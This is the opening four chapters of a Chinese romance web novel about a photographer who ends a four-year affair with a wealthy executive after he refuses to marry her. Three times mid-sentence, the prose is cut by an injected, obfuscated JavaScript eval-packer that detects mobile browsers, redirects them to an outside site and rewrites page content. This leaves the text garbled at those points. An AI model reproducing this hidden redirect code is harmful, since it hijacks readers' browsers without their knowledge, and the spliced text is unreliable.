《爱不逢时》 1. 第 1 章 陵城,六月,雨夜。 夏季的雨来得急且阵势浩大,天气预报明明说的是今夜多云,可晚饭点儿刚过,黑压压的乌云就瞬间铺满全城。 紧接着,豆大的雨点倾盆般往下拍。雨点连成线,直直地砸到江面上,像是争先恐后赶着赴死般,无声又壮烈。 卧室内,一番云雨后,姜临夏浑身瘫软地趴在慕锡川的身上,嘴巴微微张开,一下一下喘息着。 每次做完,姜临夏都会顺势赖在慕锡川的身上不起来,她喜欢这样粘着慕锡川,贪婪地呼吸着独属于他的味道。 他身上那股清冷的气息总能让她沉醉、着迷。 慕锡川也不催她,都是由着姜临夏腻歪够了,才抱起她走进浴室,冲掉一身的黏腻。 可今天不同,还不等姜临夏的呼吸彻底平稳下来,慕锡川就抬手轻轻拍了拍她的肩背,示意她从自己身上下来:“你自己在床上躺会儿,我去洗个澡。” 看着外面丝毫没有减弱的雨势,姜临夏皱了皱眉:“这么大的雨,你还要出门?” “嗯,有个应酬。”慕锡川随口应着,走进了浴室。 等他再次回到卧室的时候,已经换好了一身干净整洁的衣服,裁剪合体的西裤配上纯白衬衫,是他出席工作场合的标配,也是姜临夏最爱的搭配。 尤其是慕锡川每次微微低着头,单手系衬衫扣子的时候,她的视线总会情不自禁黏在他身上,久久不舍得收回。 慕锡川最熟悉她这副意乱情迷的模样,但今天她那含情的眼眸中却似乎又多了些别样的情绪--几分纠结,几分隐忍,还有几分小心翼翼。 就这样无声地僵持了一会儿,最终,还是慕锡川先开的口:“怎么,有话说?” 这会儿姜临夏也已经从刚刚的放纵中缓过神来,她走下床,拢上了浴袍,身子倚靠在梳妆台旁,缓缓开口道:“周笛让我明天陪她去相亲,说是最近新认识了两个男人。” 明明是个陈述句,但她说这话的时候,眼睛却直直盯着慕锡川,明显是在等他的回答。 可他一言不发,一双眼睛上下打量着姜临夏,宽松的浴袍遮也不住她那副妖娆身材,两条纤细的长腿在浴袍并不严实的对襟下若隐若现,白得晃眼。 足足养了三分钟眼后,慕锡川才淡淡开口,问她:“明天几点?我让老吴送你过去。”老吴是慕锡川的司机。 见他那副事不关己的模样,姜临夏心里不免有些发堵,难以置信,这话居然是从一个刚刚跟她结束深入交流的男人嘴里说出来的。 况且,姜临夏也没想到,她都要去相亲了,这人竟然真的能做到无动于衷。 担心慕锡川没有理解她的言外之意,姜临夏决定把话说得再直白些:“我明天要去相亲了,会认识新的男人,如果聊得不错的话,也许我会跟他继续接触看看,如果真的相处得来,或许还会结婚。要是你不想让我去的话,我也可以不....” 话音未落,慕锡川已经绕过她,走到了玄关处。 他背对着姜临夏,一边换鞋子,一边道:“去吧,我说过不拦着你嫁人的。你把时间地点发给我,我让老吴送你过去。” 轻飘飘一句话就打碎了姜临夏的全部幻想,其实他什么都懂,只是不想接她的招儿而已。 姜临夏眨眨眼,干巴巴道:“....不用送,明天周笛过来接我。” “好。”说完,慕锡川推门出去,始终没有给她一个正脸。 看着他走得毫无留恋的背影,姜临夏忽然有些烦躁,她抬起手,胡乱揉了几下长发,整个人向前一扑,又趴回到床上去了。 姜临夏趴在自己惯常睡的这一边,侧着头,抬手摸摸旁边。被窝里早已经没了慕锡川的余温,但床单褶皱却还保持着刚刚他下床离开时的样子。 手指顺着褶皱的纹路抚去,姜临夏在脑海中一点点回忆着她跟慕锡川的这几年。 四年前,他们两个相识于一场摄影大赛的庆功宴上。 那年姜临夏22岁,是整场比赛中最受关注的新兴摄影师。而时年26岁的慕锡川,则刚刚掌权整个陵越集团,作为总裁投资人出席了庆功宴。 有些人即便是相看过一千次一万次,依旧什么事都不会发生,可有些人哪怕只是隔着人群遥遥相望了一眼,便再难自拔。 也正是那一晚,没人主动提起,也没人刻意回避,两人就这样爬上了同一张床,该发生的不该发生的,总归是都发生了。 事后,姜临夏觉得有些不可思议,在遇见慕锡川之前,她从不知道自己竟然还有如此疯狂的一面。 姜临夏是学摄影专业的,毕业后,慕锡川出资给她开了一间工作室。原本想独资,但姜临夏只喜欢摄影,又嫌管理上的琐碎太缠人,便拉上学姐周笛做合伙人。 工作室成立之初并没什么名气,来约拍的人寥寥可数,连基本的场地费用都赚不到。慕锡川知道后给她送了不少网红艺人的单子,替她初步打开市场。 后来慕锡川又给姜临夏买了套公寓,也就是她现在住的这套,面积不算大,将将一百三十平米,但地段十分黄金。 公寓位于陵城市中心,随便透过一扇窗子就能看见广阔的江景,视野开阔,环境清幽,是无数打工人一辈子都奢求不来的“金窝”。 起初姜临夏并不想要这房子,本来她看上的也不过是慕锡川的那张俊脸,甚至在他们睡到一起之前,她根本不清楚对方姓甚名谁,就更不可能贪图他的亿万身家了。 但慕锡川坚持要送,他说自己不婚,家庭和婚姻都给不了她,但也不想亏待了她。 姜临夏明白他的意思,便没再推脱,这样等以后他们哪天分开了,就都可以笑着说一句“两不相欠”了。 从22岁到26岁,姜临夏跟了慕锡川整整四年。 这四年来,慕锡川给到她的半点儿都不输真正的情侣,甚至更多,而且他对外也并没有刻意隐瞒过姜临夏的存在。 慕锡川身边亲近的朋友都知道姜临夏是他的女人,但他却从没带她见过那些人,也从未给过男女朋友的名分。 而除了慕锡川的身高长相,以及在床上的喜好习惯外,姜临夏对他甚至一无所知。 他就没打算让她走进自己的圈子里,反正也不会有以后。 姜临夏自认为在一定程度上还算是了解慕锡川的,但她却始终看不懂慕锡川的很多想法。 他那双眼睛太过深邃,无数情绪蕴藏在其中,却都被无尽的黑暗给掩埋住了。 起初姜临夏还觉得是自己年纪太轻,不够成熟,幻想着等自己长到慕锡川那么大了,应该就能读懂他的每一个眼神和每一个动作了。 可如今她也终于到了慕锡川当初的年纪,却依旧看不透他的很多想法。 也是,他始终大她四岁呢。 其实说起来,姜临夏的性格已经算洒脱了,但或许是童年那些不尽如人意的经历,迫使她这些年来一直处在一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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消息发出后,她不住地看手机,期盼着慕锡川的回复,却又不想他太快回过来,怕他回复的内容是自己不想看到的。 她跟慕锡川在一起四年了,即便是两人第一次坦诚相见的时候,姜临夏都没有像今天这样紧张过。 时间一分一秒流逝着,就在她以为慕锡川不会理她了,手机提示音却忽然响起,一条新消息蹦出来,姜临夏的心随之一紧。 她点开对话框,看见慕锡川发来的回复:【好看,但不适合你。】 他从不会吝啬对姜临夏的夸赞,唯独这次.... 不适合。 她明白,不适合的不只是这件尺码不符的婚纱,还有他们之间这段永远都不可能有结果的关系。 说不失落是假的,但也是从那时起,姜临夏忽然意识到,自己在不知不觉间已经爱上慕锡川了。 她不再满足于两人之间曾经的相处模式,也不再甘心自己对他而言,只是一个乘兴而来、兴尽而归的床伴。 姜临夏想要安定下来,想要有个人能坚定地站在自己身边,想每次云雨过后,对方都可以拥着她入睡,而不是像从前那样,不论再晚都可能随时会走掉,只把她当作是能够提供片刻欢愉的驿站。 所以那天,明知道慕锡川不婚,姜临夏还是问出了那个令她有些难以启齿,可不问却又始终不肯甘心的问题。 “慕锡川,如果有一天我想嫁人了,你会娶我吗?” 2. 第 2 章 问出那句话后,姜临夏没敢抬眼看慕锡川。 她低下头,无意识地一下下扣着手,内心惶恐极了,足像是个犯了错,等待着班主任宣布罪行的小学生。 不过,慕锡川并没有让她惶恐太久,很快,他用近乎冷漠的声音回答她:“四年前我就告诉过你,我不婚,谁都不会娶。但如果哪天你想结婚了,我也不会拦着你去找别人。” 很好,悬着的一颗心,终于死了。 姜临夏一动不动地趴在床上,任由那些心酸过往在心头肆意翻涌。 忽然一阵电话铃声响起,打破了房间内的静谧,在这如水的深夜里显得格外清晰刺耳。 她不想动,干脆蒙住耳朵,耗到自动挂断算了。可电话那头的人显然比她还要执着,挂断一次后,紧接着又打过来第二次。 实在拗不过,姜临夏只好抬起上半身,向前探着胳膊,勉强从床头柜上抓过手机。 屏幕闪烁,周笛的名字赫然其上。 赶在再次自动挂断前,姜临夏按下了接听键:“喂?笛子姐。” 周笛比姜临夏大两岁,偶尔玩闹起来没大没小的时候,她都是直呼其名的,但大多时候还是会礼貌地叫声笛子姐。 周笛倒没别的事,就是想再跟她确认一下:“临夏,明天相亲的事你考虑好了吗?能陪我一块儿去吧?” 前段时间经朋友介绍,周笛认识了个精英男,从头到脚都是她喜欢的类型,刚见第一面就沦陷了。 但她不是姜临夏,疯起来直接就能把人扑倒在床上,于是想出了个折缓之计--先把人约出来。多制造些接触的机会,总归是有利于培养感情的。 可对方明显是个不善与生人独处的性子,便提议再叫上其他朋友一起,人多了还能热闹些,也不尴尬。 精英男在陵城有个关系不错的朋友,是大学时候的室友,随叫随到。 可两男一女的组合怎么看都有些奇怪,周笛想了想,干脆叫上姜临夏一起,哪怕互相看不对眼呢,就当是交个朋友好了,也不亏。 但周笛又有些不确定,她记得姜临夏说过有喜欢的人,也不知道这么长时间过去了,两个人有没有在一起。要是真在一起了,再叫她出来参加这种明目张胆的联谊活动,就太不合适了。 正当周笛为明天的行程担忧时,却听见电话那头的姜临夏爽快答应:“没问题的,笛子姐,我跟你一块儿去。” 听她这么一说,周笛立刻放下心来:“太好了,那你今晚早点休息啊,明天上午十点我去你家接你。保养好气色,再画个美美的妆,美死他们!” 姜临夏不禁失笑:“好。” 前阵子周笛找到姜临夏,让她陪着自己去相亲,姜临夏本是打算拒绝的,她知道慕锡川肯定不会放她去。 哪怕只是跟别的男人单独吃顿饭,慕锡川都不会答应,更别说这种目的明确的相亲局了。他那个人有时候占有欲强得简直不讲道理。 但姜临夏却又格外享受他的霸道专横,每次只有把慕锡川逼到快要发疯的时候,她才能真切感受到他对自己是在意的。 可没想到刚刚提起相亲的事时,慕锡川竟毫无波澜地就答应了,甚至还让司机亲自把她送去别的男人手上。 姜临夏心里不是滋味。 有那么一瞬间,她忽然想做些什么,来打破她跟慕锡川在一起四年都无法向前迈进一步的僵局。 -- 第二天一早,姜临夏是被闹钟吵醒的。 她仰躺在床上,强睁开眼睛环顾四周,房间里空空荡荡,除了她再无第二个人,昨晚慕锡川走后便没再回来。 不过,她这一夜睡得倒也安稳。 四年了,姜临夏早就习惯了慕锡川的神出鬼没,别说昨晚他还有应酬,就是什么事都没有,他也经常会在深夜里,在两人缠绵后突然离开,走得干脆。 至于他大半夜离开后又去了哪儿,姜临夏不得而知,也从没想过要问。 她了解那人的性子,他最讨厌别人企图去探听自己的私事。她又不是慕锡川的谁,自然没有权利过问他不在自己身边时发生的种种。 不过姜临夏跟了慕锡川四年,对他还是有着一定了解的,她能明显感觉到,除了自己外,慕锡川身边没有别的女人。 这就够了,至于其他的,姜临夏不想计较,她也没那个立场去计较。 昨夜那场大雨不知下到什么时候停的,这会儿外面早已天光大亮,艳阳高照。 姜临夏走到窗边,拉开厚重的遮光窗帘。阳光透过窗帘缝隙钻进卧室,径直照在她的身上脸上,晃得姜临夏整个人瞬间清醒过来。 才八点多,距离跟周笛约好的时间还早,姜临夏不紧不慢地洗漱化妆。 照镜子的时候才发现,昨晚跟慕锡川在一起的时候,左侧锁骨偏上的位置,被他咬出了一个沙粉色的齿痕。 慕锡川的确是有些恶趣味的,他似乎很喜欢在姜临夏的身上留下印记,不论是嘬的还是咬的,那些印记总要个三四天才能消散得差不多。 有时候咬的位置太靠外,姜临夏都不敢穿领口宽松的衣服出门,她实在没办法忍受外人或好奇或审视的目光。 姜临夏有次气极,说他是狗,专爱撒尿占地盘。 慕锡川并没否认,在下一次上床的时候反倒咬得更厉害,仿佛是要坐实她给自己的新身份。 姜临夏无奈地叹了口气,强行斩断回忆,她拿出粉扑轻轻往锁骨上拍着,一层层盖住那颗惹眼的粉红色。 以前在一起的时候有多快乐,以后分开了就会有多不舍,想多了只会徒增感伤。 扑完粉,她又对着镜子,将纯白色短袖衬衫的扣子往高里系了一颗,刚好能把齿痕完整藏住。 等伪装好这一切,时间刚好是十点整,周笛的电话准时进来。 “临夏,我到你家楼下了,你收拾完就下来吧。”周笛语气轻快,姜临夏听得出她对今天这场见面十分期待了。 她探着头往楼下看,果然,一辆熟悉的红色甲壳虫就停在公寓楼下。 怕周笛等太久,姜临夏赶忙换好鞋子,小跑着进了电梯。 见她衣服裹得严实,扣子恨不得系到最顶上的那一颗,周笛赶忙把车里空调开到最大:“这大夏天的,你也不怕中暑。” 姜临夏笑笑,对重点避而不谈,只说歪理:“这么穿显得端庄,不好给笛子姐丢人嘛。” 她说这话的同时,向后调了调座椅靠背,整个人慵懒地窝进副驾驶,右腿搭上左膝盖,怎么舒服怎么来,就是丝毫看不出跟端庄二字有什么关联。 不过今天周笛心情好,没再损她,转而介绍起了精英男和他的那位神秘大学室友来。 原来,精英男叫孟启,他的室友叫秦颂,两人都不是陵城本地人,当初因为在陵城大学读书才来的这座城市,毕业后便决定留下来定居。 孟启家境不错,本科毕业后用爸妈给的启动资金创业,开了家不大不小的风投公司,这几年业绩持续上走,也算是半个成功人士了。 而秦颂毕业后则去了国外继续深造,前两年才刚回陵城,现在在一家大型企业任职,据说是个中层,赚的不少。 姜临夏对这两个人的工作和收入并无兴趣,她只觉得今天的阳光实在太足了,刚刚路上转了个弯,这会儿太阳就挂在她的右上方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375487|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,贴着防紫外线膜的车窗都拦不住刺眼的光线。 她打开副驾驶前面的置物箱,翻出周笛的太阳镜糊到自己脸上。多了一层遮挡,眼睛才觉得好受些,于是一边哼哈应着,一边又懒懒地躺回了座椅里。 红色甲壳虫一路朝着郊区的方向开去,差不多开出一个小时后,车子终于停进了一家农家院。 姜临夏推门下车,看着四周依山而建的村落,她一边伸着懒腰,一边开玩笑道:“笛子姐,我怎么有种要被你卖进大山里的错觉?” 不过玩笑归玩笑,这座小院背靠群山,四下里又布满了绿植,简直是个天然的氧吧,空气质量比市内不知道要好上多少倍。 姜临夏很喜欢这种贴近大自然的地方,但慕锡川不喜欢,即便喜欢,他也没那个闲情雅致,能专门抽出一整天的时间陪姜临夏来这边消磨时间。 慕锡川对她的陪伴,仅限在床上。 所以自从跟慕锡川在一起后,姜临夏就再也没来过郊外,眼下对这里更是越看越喜欢了。 周笛笑着挽过她:“走吧,卖你之前先带你吃顿饱饭,吃饱喝足了再上称,我才不亏。” “哈哈!” 两人说说笑笑地进了院子。 最近一直是阴雨天,好不容易今天放晴,小院里聚集了不少前来放风的人。一眼望去,院子里大概摆了十几张桌子,几乎都坐满了人,好不热闹。 唯独一棵梧桐树下面的那张桌子有些空荡,只有两个男人并排坐在一侧,偶尔说说话,还不时地朝入口处张望着,似乎在等什么人。 姜临夏猜测,今天要见的应该就是他们了。 果然,还不等她开口询问,一旁的周笛已经在热情地打着招呼:“孟启,秦颂!”嘴角高高翘起,压都压不住。 四人围坐一桌,周笛跟孟启面对面坐下,姜临夏自觉坐到了周笛旁边的位置上,对面就是孟启口中的那位大学室友,秦颂。 入座后,周笛主动给他们介绍起了彼此:“秦先生,这是我摄影工作室的合伙人,姜临夏。特别优秀的摄影师,人美能力强,好多明星网红都排着队跟她约拍呢。” “临夏,这位就是我跟你提过的秦颂秦先生。那个,秦先生,方便问一下你在哪家公司高就吗?” 秦颂赶忙答道:“我在陵越集团上班,算是管理层。早就听孟启说周小姐是个难得一见的美女,没想到周小姐的朋友也这么漂亮,幸会幸会。”他说话的时候,视线牢牢盯在姜临夏的身上,眼睛都快看直了。 孟启看出了朋友对姜临夏有意思,开口帮腔道:“什么叫算是管理层啊,秦颂可是陵越集团的中层领导呢,有钱有颜,前途光明,你就别跟这儿谦虚啦。” 闻言,周笛也捧场道:“陵越集团的门槛可是出了名的高啊,秦先生年纪轻轻就能做到中层的位置,确实优秀。” 三个人你来我往地客气着,可作为重点人物,姜临夏却始终没什么反应,像是没听见他们的对话一样。 眼见着气氛有些尴尬,周笛悄悄用胳膊拐了她一下:“临夏,你发什么呆呢?是不是肚子饿了?” “嗯?噢,没有没有。”姜临夏回过神来,笑着朝秦颂点点头,“之前就听笛子姐说,秦先生工作能力很强,果然年少有为。” 被她这么一夸,秦颂有些害羞,夏天的陵城本就炎热,这会儿脸颊都爬上了一团红晕。 周笛是个很健谈的人,性格又外向开朗,没一会儿就主宰了饭桌上的聊天节奏。大家嘻嘻哈哈聊作一团,谁都没有注意到姜临夏再次走神。 秦颂是陵越集团的中层,而陵越集团是慕锡川的,也不知道他们两个认不认识。 3. 第 3 章 今天来小院吃饭的人不少,但店家的出餐速度却出奇的快,菜品一道接着一道上桌,孟启向两位女孩子介绍着其中的各种巧思和特色。 周笛很捧场,不但听得认真,还适时给出回应,偶尔再提几个傻兮兮的问题,整个人都散发着恋爱的粉红泡泡。 有周笛这个气氛组在,姜临夏本就是来凑数的,这下沉默得更加肆无忌惮了,只有筷子在碗盘和嘴巴之间不停周旋着。 秦颂是个心思细腻的男人,虽然总共也没跟姜临夏说上几句话,但整顿饭期间却一直对她照顾有加。 比如,姜临夏爱吃的菜,总会在不经意间出现在靠近她的那一侧;再比如,她面前盛着果汁的杯子也从来没有喝空过。 明眼人都看得出秦颂的心思,只有姜临夏看不出,或者说,她根本就没看。 虽然她平时不是话多的人,但在吃喝玩乐方面也算得上积极,今天却不知怎么的,一直溜号走神。 注意到她的反常后,周笛想了想,一把挽住姜临夏的胳膊:“不好意思,我们去个厕所,很快就回来。” 怕她们找不到路,孟启起身示意道:“厕所在那栋楼里,空间不大,但还算干净。要我带你们过去吗?” 周笛连忙摆手:“不用不用,我们能找到路。”说罢,她拉上姜临夏,朝着那栋二层小楼走去。 等两人拐进楼里,周笛才小声问她:“临夏,你是不是有什么心事啊?我看你今天一直心不在焉的。” “没有啊。”姜临夏摇摇头,眼神真诚地看着周笛。她心里有事,不仅有事,还有个人,可她说不出口。 “那就好。”见她一脸的无辜状,周笛也就信以为真了。反正像姜临夏她们这些搞艺术的人,确实思维要比常人更跳脱些,也更容易沉浸在自己的世界里。 不过,想到刚刚秦颂的表现,周笛还是忍不住八卦起来:“临夏,你觉得秦颂这个人怎么样?” “挺好的啊。” 周笛眉眼间透着惊喜:“你真觉得他挺好的?” 姜临夏转了转眼珠,认真思索一番后,客观评价道:“嗯,长相中上,衣着得体,气质儒雅,工作能力看起来也很强,应该是个不错的人吧。” 闻言,周笛脸上的笑意更浓了:“既然秦颂这么好,那你要不要试着跟他接触看看?反正他是单身,你之前喜欢的那个人应该也没追上吧?我看这个秦颂对你可是相当感兴趣的,那眼珠都快黏在你身上了,不如你们就两好并一好,处处看?要是真能走到结婚那一步,他应该是个不错的对象。” 之前喜欢的人....她还真没追上。不,是永远都追不上。 姜临夏不禁在心里苦笑,这个笛子姐,专会挑她的痛处戳。 不过,在听见“结婚”二字的时候,有那么一瞬间,姜临夏忽然觉得,跟秦颂试一试,或许也是个不错的选择。 她总不能为了慕锡川,一辈子不嫁人吧。她想结婚了,想有个家。 吃过午饭,四人又去逛了小院后身的植物园,一直到晚饭前后才上车返程。 经过一下午的接触,周笛跟孟启两个人越发的彼此看对了眼,姜临夏不便再去当个锃光发亮的电灯泡,在秦颂的主动邀请下,搭了他的车回城。 犹豫再三,秦颂还是决定争取一下,于是开口询问道:“临夏,等下回到市区内,要不要一起吃个晚饭再回家?” 姜临夏实在有些累了,抱歉道:“不好意思啊,我中午吃得有点儿饱,现在还没什么胃口,麻烦你直接送我回家吧。” 可平白蹭人家的车她又觉得不太好,于是在拒绝后很快提议道,“要不改天不忙的时候,我请你吃饭吧。” “好啊!”秦颂没想到她会主动开口约自己,倒是有些惊喜,赶忙翻出微信名片中的二维码,递到姜临夏面前,“那个,临夏,你方不方便加个微信?” “方便的。”姜临夏点点头,也拿出手机。 点进微信界面后,她下意识看向置顶的联系人,慕锡川安安静静地躺在她手机屏幕的最顶端,头像旁边并没有任何新消息提示。 姜临夏无声地自嘲一笑,不知道自己究竟在期盼什么,之后点开扫一扫的界面,将秦颂添加到了微信好友中。 一路无言,不知是今天这趟植物园逛得太累,还是秦颂车开得太稳,姜临夏靠在副驾驶,往窗外看了没一会儿就睡着了。 等她再次醒来的时候,车子刚好开进她住的小区大门。姜临夏指挥着秦颂,把车停在了早上周笛停过的地方。这里距离单元门近,又是公共停车位,不影响邻居出行。 姜临夏一边向秦颂道谢,一边解开安全带,准备下车。 可她的手刚搭上门锁,偏过头去,就看见车外有个人影,由远及近,朝着她这边走了过来。 这会儿天色已经渐黑,姜临夏看不清来人脸上的表情,却能清晰地感受到对方渗透在身影里的不悦,她搭在门上的那只手下意识缩了回来。 忽然,副驾驶的车门被人从外面大力拉开,一道熟悉的清冷男声响起:“下车。” 姜临夏没想到慕锡川会来,怕他当着秦颂的面发疯,赶紧拿过包包走下车去。 虽然慕锡川并不爱她,但这丝毫不影响他护食,这个男人的占有欲一向恐怖。 站在车外,姜临夏正想转身跟秦颂道个别,一扭头,却看见他已经先自己一步下了车。 秦颂绕过车头,快步走到慕锡川面前,毕恭毕敬地颔首道:“慕总。” 说着,他看了看慕锡川,又看了看他搭在姜临夏肩上的手臂,小心翼翼地问到:“姜小姐,跟慕总..认识?” 姜临夏一句“朋友”还没说出口,就听见慕锡川阴冷的声音从背后传过来:“何止认识?秦经理该不会是在挖我的墙脚吧?” 闻言,秦颂身形明显一顿,脸上本就惨淡的笑容干脆直接僵住了。 他慌忙解释着:“没有没有,我怎么敢挖慕总您的墙脚呢。今天就是朋友喊我一起吃饭,我顺路把姜小姐送回来而已,您千万别误会。” 慕锡川没再说话,只是勾了勾手,让姜临夏离自己更近些。他挑眉看向秦颂,像是在宣誓主权,又像是在向对手展示着自己的战利品。 被“挟持”的姜临夏躲无可躲,又不想在外人面前跟慕锡川拉扯,只好放任他的这种无赖行为。 四周的空气安静下来,徒留秦颂僵在原地,走也不是,留也不是,眨眼呼吸间都能看得出他内心的万分煎熬。 姜临夏一向最受不了这种能尬死人的胶着感,但慕锡川这会儿估计挺上头的,甚至还有些享受给觊觎自己女人的下属带来降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375488|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维压迫的快感。 见他一副吓死人不偿命的架势,姜临夏只好主动出击,打破僵局。 她对着秦颂挤出一个礼貌的微笑,客气道:“秦先生,谢谢你送我回来,回去开车注意安全。” 这场拉锯战本就是她跟慕锡川之间的事,实在不该把无辜的人牵扯进来。 有了姜临夏的解围,秦颂像是终于恢复了呼吸般,丢下一句“慕总,姜小姐,那我就先走了”后,快速钻进车里,一秒都不带犹豫地驶离了这个是非之地。 等秦颂的车开远了,姜临夏看都没看慕锡川一眼,径直走进了公寓楼的大门。 六月的陵城就像个火炉似的,能把人烤化,即便这会儿太阳已经西沉,可空气里的闷热还是让人心口堵得慌,她实在没力气跟慕锡川在楼下耗着了。 姜临夏以为那人在受了自己的冷遇后,会如往常般直接甩手走人,没想到她刚按下楼层按键,就看见慕锡川大摇大摆地也走进了电梯。 以往每次两人单独同乘电梯时,姜临夏都会凑过去,不是主动勾住慕锡川的手,捏他的手指玩,就是歪着头靠到他的臂膀上,像只粘人的猫咪一样蹭头蹭下巴。 可这次不同,她看着慕锡川进来,却始终无动于衷,仿佛旁边站着的只是个陌生人。 两人就这样一左一右站在电梯里,直到电梯“叮”的一声停靠在16楼,依旧谁都没有说话。 电梯门开,慕锡川先一步迈了出去。 他有姜临夏家的钥匙,大门的密码锁里也存录着他的指纹,可他并没有任何动作,只是脚步停在门口,静静站在那里,等待着姜临夏开门。 姜临夏叹了口气,将右手拇指覆在指纹识别区,门锁应声解开。 从出电梯,到解锁、进门,整个过程下来,她始终没看过慕锡川一眼。 就在门刚要关上的时候,忽然一股力量顺着门把手传过来,将她关门的动作拦住。 慕锡川站在门外,一只手握住门把手,另一只手臂倚在门框上,眼神定定地看着她。 他将近一米九的身高,如同一座高山般,把姜临夏整个笼罩在自己的阴影当中。 在对上慕锡川深不见底的眼眸的那一刻,姜临夏不自然地偏过头去,明知故问到:“有事?” 她不是不想看见慕锡川,而是不敢看,怕多看一眼,就会没出息地飞奔进他的怀里。 “你跟秦颂什么时候勾搭上的?”慕锡川开口,言语间充斥着浓浓的嘲讽和不满。 勾搭。 姜临夏在心中回味着这个刺耳的字眼,没想到有一天竟会被用在自己身上,还是出自慕锡川之口。 心口只觉一阵刺痛。 她抿了抿嘴唇,尽可能忽略掉不适感,语气平静道:“是你让我去相亲的。” “可我特么的没让你把人往家里带!”慕锡川怒吼着,伸手抓住姜临夏的双肩,将人抵在墙上。 姜临夏想不通他有什么好生气的:“我没有往家里带人,他只是顺路送我回来,仅此而已。况且,这里是我家,我想带谁回来,你应该管不着吧?” 像是听见了什么天大的笑话般,慕锡川忽然嗤笑一下,他上前一步捏住姜临夏的下巴,迫使她看向自己,恶狠狠道:“这里不是你家。” “是我们的家。” 4. 第 4 章 我们的家。 他说这话时,将重音放在了“我们”两个字上。 如果换作从前,姜临夏一定会被这两个字哄得天旋地转,陪他床上床下的发疯。 可今时不同往日,她想要的不再是一时的欢愉,而是长久的陪伴。人一旦有了贪念,就没办法再说服自己活得那么不管不顾了。 姜临夏忽然觉得很累,累到已经没有力气再去辩驳,她只是低声陈述着一个事实:“只要不结婚,我们就永远都不会拥有同一个家。” 闻言,慕锡川手下动作一滞。 姜临夏借机躲开他的钳制:“慕锡川,我知道你不想结婚,可是我想。当初我能和你走到一起,是因为那时我们的诉求相同,你不想成家,我也不想嫁人。上了床我们各取所需,下了床谁也不拴着谁,我觉得那样的活法很好。现在四年过去,你依旧初心不改,可我想换一种活法了。既然我们的想法不再一致,也没必要再互相勉强,假装同路了,不如就分开吧。” 她看着慕锡川,眼中是漫无边际的平静和绝望。 姜临夏今年26岁,其实26岁也不是一个多大的年纪,就算再跟慕锡川像这样没有结果地耗个三五年,她也耗得起。 只是她忽然觉得,这种偷鸡摸狗的日子很没劲,她想要一份能够曝光在阳光下的爱情,一份能够得到满座高朋祝福的爱情。 那张纸重不重要她不知道,但她的确很想要,可显然慕锡川给不了。 慕锡川眉头紧皱:“你认真的?” 姜临夏低下头,没再看他。 可是,再耗个三五年又能怎样呢?结果还不是一样要分开。 时间拖得越久,她在这段感情里就会越陷越深,如同骨折患者在身体里打了钢钉,等血肉将钉子彻底包裹严实后再想剥离,就要忍受抽筋拔骨般的疼痛。 现在分开,姜临夏还能勉强承受这份落寞,要真等个三五年再被慕锡川抛弃,她实在不敢想象那种血肉模糊的痛楚。 有些事情,当断则断,对谁都好。 “嗯,”姜临夏点点头,“我们分手吧。”说完,她转身进门,这一次,慕锡川也没再阻拦。 听着门外渐远的脚步声,姜临夏仿佛被人抽了魂儿,靠在门上的身体一点点滑坐到地上。 她忽然觉得很委屈。 这三个月来,姜临夏没少旁敲侧击跟慕锡川提过结婚的事,可慕锡川却始终装作听不懂她的暗示。 等她被逼急,打了直球,慕锡川又说不拦着她嫁人。 可他明知道姜临夏今天是去见相亲对象的,却又莫名跑来公寓楼下等她回家,还自导自演了一出被她戴了绿帽子的人神共愤戏码。 她真的有点看不懂这个男人到底在想些什么了。 晶莹的泪水变成两道干涸的印记挂在脸上,姜临夏使劲儿揉了揉紧绷的脸颊,起身走到窗边。 外面华灯已上,璀璨的灯光却依旧穿不透江面上的蒙蒙雾气,那团白雾就像是横亘在她和慕锡川之间的一道无形阻碍,让她怎么都看不见未来。 就这样不知站了多久,一声新消息提示音突兀地响了起来,将她的思绪重新拉回到现实中。 夜景看得太沉浸,这会儿两只眼睛都酸酸涩涩的,很难受。 姜临夏快速眨了几下眼,生理性的泪水瞬间充斥眼球,缓解掉了大半的不适。 她从玄关的地面上捡起手机,吊着一颗心点开查看,却发现消息是周笛发过来的。姜临夏自嘲般摇了摇头,不知道自己还在期盼着什么。 周笛:【临夏,你到家了吧?我刚刚一直跟孟启在一起,都忘了问你了。】 姜临夏埋头在手机上敲下一行字:【到家啦,放心吧,笛子姐】 按下发送键后她看了眼时间,21:52,看来今天周笛约会很顺利。 周笛很快又回复过来:【那就好,那你早点休息,过两天我们棚里见】 【嗯,棚里见】 回完周笛的消息后,姜临夏没有立刻收起手机,而是向下滑动屏幕,找到秦颂的对话框,点了进去。 刚刚在楼下时,慕锡川的态度堪称恶劣,她虽然没有帮腔,但也算默认了两人的关系,跟慕锡川站到了同一边。 虽然她对秦颂并没有想要发展男女之情的想法,可做人不能像慕锡川那样没礼貌。 况且这人还是周笛的朋友,这样合起伙的给人难堪,姜临夏更是觉得不妥。 